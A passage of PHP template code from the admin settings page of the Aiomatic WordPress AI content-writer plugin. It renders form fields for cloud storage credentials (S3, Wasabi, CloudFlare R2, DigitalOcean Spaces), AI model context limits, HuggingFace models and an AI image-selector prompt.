{echo ' selected';}?>><?php echo esc_html__("EU North 1 (Stockholm)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-west-1"<?php if($bucket_region == 'eu-west-1') {echo ' selected';}?>><?php echo esc_html__("EU West 1 (Ireland)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-west-2"<?php if($bucket_region == 'eu-west-2') {echo ' selected';}?>><?php echo esc_html__("EU West 2 (London)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-west-3"<?php if($bucket_region == 'eu-west-3') {echo ' selected';}?>><?php echo esc_html__("EU West 3 (Paris)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ca-central-1"<?php if($bucket_region == 'ca-central-1') {echo ' selected';}?>><?php echo esc_html__("Canada (Central)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-northeast-1"<?php if($bucket_region == 'ap-northeast-1') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 1 (Tokyo)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-southeast-2"<?php if($bucket_region == 'ap-southeast-2') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 2 (Sydney)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-southeast-1"<?php if($bucket_region == 'ap-southeast-1') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 3 (Singapore)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-northeast-2"<?php if($bucket_region == 'ap-northeast-2') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 4 (Seoul)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-south-1"<?php if($bucket_region == 'ap-south-1') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 5 (Mumbai)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-east-1"<?php if($bucket_region == 'ap-east-1') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 6 (Hong Kong)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API key for your Amazon S3 client. Details: ", 'aiomatic-automatic-ai-content-writer'); ?><a href="https://console.aws.amazon.com/iamv2/home#/security_credentials" target="_blank">https://console.aws.amazon.com/iamv2/home#/security_credentials</a> </div> </div> <b><?php echo esc_html__("Amazon S3 API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[s3_user]" value="<?php echo esc_html($s3_user);?>" placeholder="Amazon S3 API Key" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API secret for your Amazon S3 client. Details: ", 'aiomatic-automatic-ai-content-writer'); ?><a href="https://console.aws.amazon.com/iamv2/home#/security_credentials" target="_blank">https://console.aws.amazon.com/iamv2/home#/security_credentials</a> </div> </div> <b><?php echo esc_html__("Amazon S3 API Secret:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="password" name="aiomatic_Main_Settings[s3_pass]" value="<?php echo esc_html($s3_pass);?>" placeholder="Amazon S3 API Secret" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Wasabi Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the folder name from Wasabi where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your Wasabi. The plugin will create the directory you define here, if it is not already existing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Wasabi Directory:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[wasabi_directory]" value="<?php echo esc_html($wasabi_directory);?>" placeholder="Folder name from Wasabi" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the Bucket Name from Wasabi - You can create your Wasabi bucket, here: ", 'aiomatic-automatic-ai-content-writer') . '<a href="https://console.wasabisys.com/file_manager" target="_blank">https://console.wasabisys.com/file_manager</a>.'; ?> </div> </div> <b><?php echo esc_html__("Wasabi Bucket Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[wasabi_bucket]" value="<?php echo esc_html($wasabi_bucket);?>" placeholder="Wasabi bucket name" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the bucket region from Wasabi.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Wasabi Bucket Region:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="wasabi_region" name="aiomatic_Main_Settings[wasabi_region]" class="cr_width_full"> <option value="us-west-1"<?php if($wasabi_region == 'us-west-1') {echo ' selected';}?>><?php echo esc_html__("US West 1 (Oregon)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="us-central-1"<?php if($wasabi_region == 'us-central-1') {echo ' selected';}?>><?php echo esc_html__("US Central 1 (Texas)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="us-east-1"<?php if($wasabi_region == 'us-east-1') {echo ' selected';}?>><?php echo esc_html__("US East 1 (N. Virginia)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="us-east-2"<?php if($wasabi_region == 'us-east-2') {echo ' selected';}?>><?php echo esc_html__("US East 2 (N. Virginia)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-central-1"<?php if($wasabi_region == 'eu-central-1') {echo ' selected';}?>><?php echo esc_html__("EU Central 1 (Amsterdam)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-central-2"<?php if($wasabi_region == 'eu-central-2') {echo ' selected';}?>><?php echo esc_html__("EU central 2 (Frankfurt)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-west-1"<?php if($wasabi_region == 'eu-west-1') {echo ' selected';}?>><?php echo esc_html__("EU West 1 (London)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-west-2"<?php if($wasabi_region == 'eu-west-2') {echo ' selected';}?>><?php echo esc_html__("EU West 2 (Paris)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ca-central-1"<?php if($wasabi_region == 'ca-central-1') {echo ' selected';}?>><?php echo esc_html__("Canada (Toronto)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-northeast-1"<?php if($wasabi_region == 'ap-northeast-1') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 1 (Tokyo)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-southeast-2"<?php if($wasabi_region == 'ap-southeast-2') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 2 (Sydney)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-southeast-1"<?php if($wasabi_region == 'ap-southeast-1') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 3 (Singapore)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ap-northeast-2"<?php if($wasabi_region == 'ap-northeast-2') {echo ' selected';}?>><?php echo esc_html__("Asia Pacific 4 (Osaka)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API key for your Wasabi client. Details: ", 'aiomatic-automatic-ai-content-writer'); ?><a href="https://console.wasabisys.com/access_keys" target="_blank">https://console.wasabisys.com/access_keys</a> </div> </div> <b><?php echo esc_html__("Wasabi API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[wasabi_user]" value="<?php echo esc_html($wasabi_user);?>" placeholder="Wasabi API Key" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API secret for your Wasabi client. Details: ", 'aiomatic-automatic-ai-content-writer'); ?><a href="https://console.wasabisys.com/access_keys" target="_blank">https://console.wasabisys.com/access_keys</a> </div> </div> <b><?php echo esc_html__("Wasabi API Secret:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="password" name="aiomatic_Main_Settings[wasabi_pass]" value="<?php echo esc_html($wasabi_pass);?>" placeholder="Wasabi API Secret" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("CloudFlare R2 Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the folder name from CloudFlare R2 where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your CloudFlare R2. The plugin will create the directory you define here, if it is not already existing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CloudFlare R2 Directory:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[cloud_directory]" value="<?php echo esc_html($cloud_directory);?>" placeholder="Folder name from CloudFlare R2" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input your Account ID from CloudFlare R2. You can create CloudFlare R2 account ID by copying the ID from the right of the 'Overview' page from the CloudFlare R2 Control Panel.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CloudFlare R2 Account ID:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[cloud_account]" value="<?php echo esc_html($cloud_account);?>" placeholder="CloudFlare account ID" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input your CloudFlare R2 Bucket Name. ", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CloudFlare R2 Bucket Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[cloud_bucket]" value="<?php echo esc_html($cloud_bucket);?>" placeholder="CloudFlare bucket name" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API key for your CloudFlare R2 client. You can create CloudFlare R2 API credentials by clicking the 'Manage R2 API Tokens' link on the right of the 'Overview' page from the CloudFlare R2 Control Panel.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CloudFlare R2 API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[cloud_user]" value="<?php echo esc_html($cloud_user);?>" placeholder="CloudFlare R2 API Key" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API secret for your CloudFlare R2 client. You can create CloudFlare R2 API credentials by clicking the 'Manage R2 API Tokens' link on the right of the 'Overview' page from the CloudFlare R2 Control Panel.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CloudFlare R2 API Secret:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="password" name="aiomatic_Main_Settings[cloud_pass]" value="<?php echo esc_html($cloud_pass);?>" placeholder="CloudFlare R2 API Secret" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Digital Ocean Spaces Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the folder name from Digital Ocean Spaces where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your Digital Ocean Spaces. The plugin will create the directory you define here, if it is not already existing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Digital Ocean Spaces Directory:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[digital_directory]" value="<?php echo esc_html($digital_directory);?>" placeholder="Folder name from Digital Ocean Spaces" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the Origin Endpoint from Digital Ocean Spaces. This should be in the following format: https://<bucketname>.<datacenterregion>.digitaloceanspaces.com - You can create your Digital Ocean Spaces bucket, here: ", 'aiomatic-automatic-ai-content-writer') . '<a href="https://cloud.digitalocean.com/spaces" target="_blank">https://cloud.digitalocean.com/spaces</a>.'; ?> </div> </div> <b><?php echo esc_html__("Digital Ocean Spaces Origin Endpoint:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[digital_endpoint]" value="<?php echo esc_html($digital_endpoint);?>" placeholder="https://<bucketname>.<datacenterregion>.digitaloceanspaces.com" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API key for your Digital Ocean Spaces client. Details: ", 'aiomatic-automatic-ai-content-writer'); ?><a href="https://cloud.digitalocean.com/account/api/spaces" target="_blank">https://cloud.digitalocean.com/account/api/spaces</a> </div> </div> <b><?php echo esc_html__("Digital Ocean Spaces API Key:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[digital_user]" value="<?php echo esc_html($digital_user);?>" placeholder="Digital Ocean Spaces API Key" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the API secret for your Digital Ocean Spaces client. Details: ", 'aiomatic-automatic-ai-content-writer'); ?><a href="https://cloud.digitalocean.com/account/api/spaces" target="_blank">https://cloud.digitalocean.com/account/api/spaces</a> </div> </div> <b><?php echo esc_html__("Digital Ocean Spaces API Secret:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="password" name="aiomatic_Main_Settings[digital_pass]" value="<?php echo esc_html($digital_pass);?>" placeholder="Digital Ocean Spaces API Secret" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Amazon S3 Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr><tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/DIUZkvD4Y6U" frameborder="0" allowfullscreen></iframe> </td></tr> <tr><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Other Cloud Storage Options Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/FFjrfLJ4Re8" frameborder="0" allowfullscreen></iframe> </td> </tr> </table> </div> <div id="tab-29<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Advanced AI API Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Advanced AI API Settings' tab enables you to customize and control advanced AI-driven features by adjusting API configurations and parameters for enhanced functionality of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Textual AI Models Advanced Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If specified, the AI API will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed, as changes can be made to the API in the backend, over longer periods of time.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Seed For AI Writer (To Make Responses Deterministic):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="ai_seed" step="1" min="0" placeholder="<?php echo esc_html__("AI Seed", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[ai_seed]" value="<?php echo esc_html($ai_seed); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a hardcoded context window limit for the gpt-3.5-turbo-1106 model. If you don't set this, the default 16385 token limit will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Context Window Limit For gpt-3.5-turbo-1106:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="1" step="1" max="16385" name="aiomatic_Main_Settings[gpt35_context_limit]" value="<?php echo esc_html($gpt35_context_limit);?>" placeholder="16385" class="cr_width_full"> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a hardcoded context window limit for the gpt-4-1106(-preview) model. If you don't set this, the default 128000 token limit will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Context Window Limit For gpt-4-1106:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="1" step="1" max="128000" name="aiomatic_Main_Settings[gpt4_context_limit]" value="<?php echo esc_html($gpt4_context_limit);?>" placeholder="128000" class="cr_width_full"> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a hardcoded context window limit for the Claude models. If you don't set this, the default 100000 token limit will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Context Window Limit For Claude Models:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="1" step="1" max="100000" name="aiomatic_Main_Settings[claude_context_limit]" value="<?php echo esc_html($claude_context_limit);?>" placeholder="100000" class="cr_width_full"> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a hardcoded context window limit for the Claude 200k models. If you don't set this, the default 200000 token limit will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Context Window Limit For Claude 200k Models:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="1" step="1" max="200000" name="aiomatic_Main_Settings[claude_context_limit_200k]" value="<?php echo esc_html($claude_context_limit_200k);?>" placeholder="200000" class="cr_width_full"> </td> </tr><tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Assistants Advanced Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt tokens which AI Assistants are allowed to use. Use this settings with caution, incomplete Assistant messages may result if this is used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistants Maximum Prompt Token Count:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="assist_max_prompt_token" step="1" min="0" placeholder="<?php echo esc_html__("Max Prompt Token Count", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[assist_max_prompt_token]" value="<?php echo esc_html($assist_max_prompt_token); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of completion tokens which AI Assistants are allowed to use. Use this settings with caution, incomplete Assistant messages may result if this is used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistants Maximum Completion Token Count:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="assist_max_completion_token" step="1" min="0" placeholder="<?php echo esc_html__("Max Completion Token Count", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[assist_max_completion_token]" value="<?php echo esc_html($assist_max_completion_token); ?>" class="cr_width_full"/> </div> </td> </tr> </table> <table class="widefat"> <tr class="aiomatic-title-holder"> <td class="cr_width_full"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("HuggingFace Models:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <?php if(empty($app_id_huggingface)) { echo esc_html__("You need to add a HuggingFace API key in plugin settings to use this feature.", 'aiomatic-automatic-ai-content-writer'); } else { ?> <tr><td class="cr_inline"> <div class="table-responsive"> <div id="grid-models-aiomatic"> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the model.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this model?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <a href="https://huggingface.co/models?pipeline_tag=text-generation&sort=trending" target="_blank"><?php echo esc_html__("HuggingFace Model Name", 'aiomatic-automatic-ai-content-writer');?></a> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The name of the model from HuggingFace.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <a href="https://ui.endpoints.huggingface.co/" target="_blank"><?php echo esc_html__("Inference Endpoint URL (Optional)", 'aiomatic-automatic-ai-content-writer');?></a> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The Inference Endpoint URL of this model (optional). This is required only for models which are too large to be run on HuggingFace default platform (for which, the 'The model ... is too large to be loaded automatically (...GB > 10GB)' message is returned). Check this tutorial video for details on the usage of this feature:", 'aiomatic-automatic-ai-content-writer') . ' <a href="https://youtu.be/ub81iVAWjJ0" target="_blank">Huggingface Update</a>.'; ?> </div> </div> </div> <?php echo aiomatic_expand_huggingface_models(); ?> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div class="cr_center">-</div> <div class="cr_center"><span class="cr_gray20">X</span></div> <div class="cr_center"><input type="text" name="aiomatic_huggingface_models[model][]" placeholder="<?php echo esc_html__("Please insert the model name", 'aiomatic-automatic-ai-content-writer');?>" value=""/></div> <div class="cr_center"><input type="url" name="aiomatic_huggingface_models[endpoint_url][]" placeholder="<?php echo esc_html__("Inference Endpoint URL (Optional)", 'aiomatic-automatic-ai-content-writer');?>" value=""/></div> </div> </div> <hr/> <p class="crsubmit"><input type="submit" name="btnSubmitkw" id="btnSubmitkw" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Models", 'aiomatic-automatic-ai-content-writer');?>"/></p> </td></tr> <?php } ?> </table> </div> <div id="tab-26<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Image Selector', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Image Selector Settings' tab enables you to configure and customize AI-driven tools that help select the most relevant and impactful images for your WordPress site's content.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Default Featured Image Optimizations:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you entered a list of images in the 'Default Featured Image List' settings field, you can set up the plugin to ask the AI to select the image which matches the best the title of the published post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use AI To Select Default Featured Image For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="use_image_ai" onchange="imageAIChanged();" name="aiomatic_Main_Settings[use_image_ai]"<?php if ($use_image_ai == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr class="hideimgai"> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="img_assistant_id" name="aiomatic_Main_Settings[img_assistant_id]" class="cr_width_full" onchange="assistantSelected('img_assistant_id', 'disableImg');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($img_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($img_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideimgai"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the AI Default Featured Image Selector prompt.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Default Featured Image Selector Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="image_ai_model" name="aiomatic_Main_Settings[image_ai_model]" <?php if($img_assistant_id != ''){echo ' disabled';}?> class="cr_width_full disableImg"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($image_ai_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="hideimgai"> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI Default Featured Image Selector. You can use the following shortcodes: %%post_title%%, %%image_list%% - The default value for this settings field is: Select an image URL, based on its file name, which matches the best the post, based on its title. If no matching image can be selected, pick a random one from the list. Respond only with the URL of the selected image and with nothing else. The title of the post is: \"%%post_title%%\" The image URL list is: %%image_list%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Default Featured Image Selector:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[image_ai_prompt]" placeholder="YouTube Video Search Keyword Extractor Prompt" class="cr_width_full"><?php echo esc_textarea($image_ai_prompt);?></textarea> </td> </tr> </table> </div> <div id="tab-22<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <table class="widefat"> <h3><?php echo esc_html__('AI Taxonomy SEO', 'aiomatic-automatic-ai-content-writer');?></h3> <p 